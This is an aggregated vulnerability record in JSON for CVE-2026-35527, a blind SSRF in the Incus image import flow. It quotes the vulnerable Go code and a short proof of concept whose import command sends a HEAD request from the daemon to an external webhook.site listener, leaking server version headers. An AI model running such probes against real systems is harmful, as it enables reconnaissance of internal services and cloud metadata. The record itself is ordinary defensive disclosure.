{"id":"CVE-2026-35527","aliases":["CVE-2026-35527","GHSA-8gw4-p4wq-4hcv","GO-2026-5254"],"related":[],"kind":"vulnerability","state":"published","title":"Incus blind SSRF via image import preflight HEAD request","summary":"Incus is an open source container and virtual machine manager. In versions prior to 7.0.0, the image import flow issues an outbound HEAD request to a user-supplied URL before validating the request against project restrictions such as restricted.images.servers. The imgPostURLInfo function constructs and sends a HEAD request directly from the attacker-supplied source URL to resolve image metadata, and this network interaction occurs before the flow reaches the point where the import would be rejected by policy. Although the actual image download is blocked by the project restriction, an authenticated user can coerce the daemon into making blind HEAD requests to arbitrary destinations.\n\nThese requests include server metadata in custom headers (Incus-Server-Architectures, Incus-Server-Version), which discloses information about the host environment to the attacker-controlled endpoint. This blind SSRF primitive can be used to probe internal services, unroutable address space, or cloud metadata endpoints reachable from the host.\n\nThis vulnerability pattern is similar to CVE-2026-24767. This issue has been fixed in version 7.0.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Incus is an open source container and virtual machine manager. In versions prior to 7.0.0, the image import flow issues an outbound HEAD request to a user-supplied URL before validating the request against project restrictions such as restricted.images.servers. The imgPostURLInfo function constructs and sends a HEAD request directly from the attacker-supplied source URL to resolve image metadata, and this network interaction occurs before the flow reaches the point where the import would be rejected by policy. Although the actual image download is blocked by the project restriction, an authenticated user can coerce the daemon into making blind HEAD requests to arbitrary destinations.\n\nThese requests include server metadata in custom headers (Incus-Server-Architectures, Incus-Server-Version), which discloses information about the host environment to the attacker-controlled endpoint. This blind SSRF primitive can be used to probe internal services, unroutable address space, or cloud metadata endpoints reachable from the host.\n\nThis vulnerability pattern is similar to CVE-2026-24767. This issue has been fixed in version 7.0.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nA partial implementation of our `restricted.images.servers` project restriction allows users in such restricted projects to still cause Incus to send HEAD requests to arbitrary endpoints.\n\nThe actual image download will be rejected by the project restriction, but the ability to trigger arbitrary HTTP requests inside of the Incus environment can still be used as a way to discover otherwise hidden details about the environment.\n\n### Details\nThe image import flow performs outbound network access to a user-supplied URL before the request is fully validated and before the import is rejected. The URL information helper constructs a HEAD request directly from the supplied source URL and immediately sends it to resolve image metadata.\n\nA host-originated HEAD request is issued from attacker-controlled input during the image import preflight stage. In the observed reproduction, this request is sent before the flow fails on later processing requirements, such as missing image metadata headers. As a result, an authenticated user can coerce the daemon into making blind outbound HEAD requests to arbitrary destinations. This yields a blind server-side request forgery (SSRF) primitive against internal services, unroutable address space, or cloud metadata endpoints reachable by the host. This vulnerability pattern is similar to CVE-2026-24767.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go \n\nAffected Code:\n```\nfunc imgPostURLInfo(ctx context.Context, s *state.State, r *http.Request, req api.ImagesPost, op *operations.Operation, project string, budget int64) (*api.Image, error) {\n    [...]\n    head, err := http.NewRequest(\"HEAD\", req.Source.URL, nil)\n    if err != nil {\n        return nil, err\n    }\n\n    [...]\n\n\n    head.Header.Set(\"User-Agent\", version.UserAgent)\n    head.Header.Set(\"Incus-Server-Architectures\", strings.Join(architectures, \", \"))\n    head.Header.Set(\"Incus-Server-Version\", version.Version)\n\n    raw, err := myhttp.Do(head)\n    if err != nil {\n        return nil, err\n    }\n\n    hash := raw.Header.Get(\"Incus-Image-Hash\")\n    if hash == \"\" {\n        return nil, errors.New(\"Missing Incus-Image-Hash header\")\n    }\n\n    url := raw.Header.Get(\"Incus-Image-URL\")\n    if url == \"\" {\n        return nil, errors.New(\"Missing Incus-Image-URL header\")\n    }\n\n    info, _, err := ImageDownload(ctx, r, s, op, &ImageDownloadArgs{\n        Server:      url,\n        Protocol:    \"direct\",\n        Alias:       hash,\n        AutoUpdate:  req.AutoUpdate,\n        Public:      req.Public,\n        ProjectName: project,\n        Budget:      budget,\n    })\n    [...]\n}\n```\n\nThe following PoC demonstrates that an authenticated user can trigger a host-originated HEAD request to an arbitrary external URL during the image import preflight stage.\n\nStep 1: Select the reproduction project\n\nFrom an Incus client with access to the target server, switch into the project used for reproduction. In this environment, the selected project was configured as restricted=true with a restrictive restricted.images.servers policy.\n\nCommand:\n```\nincus project switch restricted\n```\n\nStep 2: Trigger the preflight request to an arbitrary URL\n\nFrom the same Incus client, attempt to import an image from an attacker-controlled or observable URL. In this example, webhook.site is used as an external listener to capture the host-originated request.\n\nCommand:\n```\nincus image import https://webhook.site/0270eca3-4197-4194-97b6-1280f1070c3a --alias my-ssrf-image\n```\n\nResult:\n```\nError: Missing Incus-Image-Hash header\n```\n\nStep 3: Verify the outbound HEAD request in the external listener\n\nIn the webhook.site request log for the URL above, confirm that the Incus host issued a HEAD request before the import failed. In this reproduction environment, the request originated from a server running Incus v6.22.0.\n\nResult:\n```\nHEAD /0270eca3-4197-4194-97b6-1280f1070c3a HTTP/1.1\nHost: webhook.site\nUser-Agent: Incus 6.22 (Linux; x86_64; 6.19.6; Debian GNU/Linux; 13) (zfs 2.4.1-1)\nIncus-Server-Version: 6.22\nIncus-Server-Architectures: x86_64, i686\n```\n\nIt is recommended to defer all outbound network interaction associated with URL-based image imports, including metadata preflight requests, until after the supplied URL has passed all validation and policy checks required by the import flow. If the import would later fail or be disallowed, the daemon should reject the request before issuing any network traffic.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)","format":"markdown","source":"ghsa"},{"lang":"en","text":"Incus has Blind SSRF via Image Import Preflight HEAD in github.com/lxc/incus","format":"markdown","source":"go"},{"lang":"es","text":"Incus es un gestor de contenedores y máquinas virtuales de código abierto. En versiones anteriores a la 7.0.0, el flujo de importación de imágenes emite una solicitud HEAD saliente a una URL proporcionada por el usuario antes de validar la solicitud contra restricciones del proyecto como restricted.images.servers. La función imgPostURLInfo construye y envía una solicitud HEAD directamente desde la URL de origen proporcionada por el atacante para resolver metadatos de la imagen, y esta interacción de red ocurre antes de que el flujo alcance el punto en el que la importación sería rechazada por la política. Aunque la descarga real de la imagen está bloqueada por la restricción del proyecto, un usuario autenticado puede forzar al demonio a realizar solicitudes HEAD ciegas a destinos arbitrarios.\n\nEstas solicitudes incluyen metadatos del servidor en encabezados personalizados (Incus-Server-Architectures, Incus-Server-Version), lo que divulga información sobre el entorno del host al endpoint controlado por el atacante. Esta primitiva SSRF ciega puede utilizarse para sondear servicios internos, espacio de direcciones no enrutable o endpoints de metadatos de la nube accesibles desde el host.\n\nEste patrón de vulnerabilidad es similar a CVE-2026-24767. Este problema ha sido solucionado en la versión 7.0.0.","source":"nvd"}],"published":"2026-05-04T16:53:01.000Z","modified":"2026-07-24T21:10:00.143Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","score":5,"rating":"MEDIUM"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":"< 7.0.0","status":"affected"}],"vendor":"lxc","product":"incus","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"7.0.0"}],"ecosystem":"Go","package":"github.com/lxc/incus/v6/cmd/incusd","purl":"pkg:golang/github.com/lxc/incus/v6/cmd/incusd","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/lxc/incus","purl":"pkg:golang/github.com/lxc/incus","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/lxc/incus/v6","purl":"pkg:golang/github.com/lxc/incus/v6","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"7.0.0"}],"ecosystem":"Go","package":"github.com/lxc/incus/v7","purl":"pkg:golang/github.com/lxc/incus/v7","source":"go"},{"ranges":[{"status":"affected","fixed":"7.0.0"}],"vendor":"linuxcontainers","product":"incus","cpe":"cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/lxc/incus/security/advisories/GHSA-8gw4-p4wq-4hcv","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35527","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/lxc/incus","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-06T14:50:32.461Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-35527","url":"https://www.cve.org/CVERecord?id=CVE-2026-35527","licence":"CVE Terms of Use","modified":"2026-05-06T15:24:57.848Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8gw4-p4wq-4hcv","url":"https://github.com/advisories/GHSA-8gw4-p4wq-4hcv","licence":"CC-BY-4.0","modified":"2026-06-25T19:56:12.272Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5254","url":"https://pkg.go.dev/vuln/GO-2026-5254","licence":"CC-BY-4.0","modified":"2026-06-25T19:45:20.725Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-35527","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35527","licence":"Public domain","modified":"2026-07-24T21:10:00.143Z"}],"updatedAt":"2026-11-25T22:59:20.644Z","epss":{"score":0.00271,"percentile":0.20853,"date":"2026-12-01T12:00:22.000Z"}}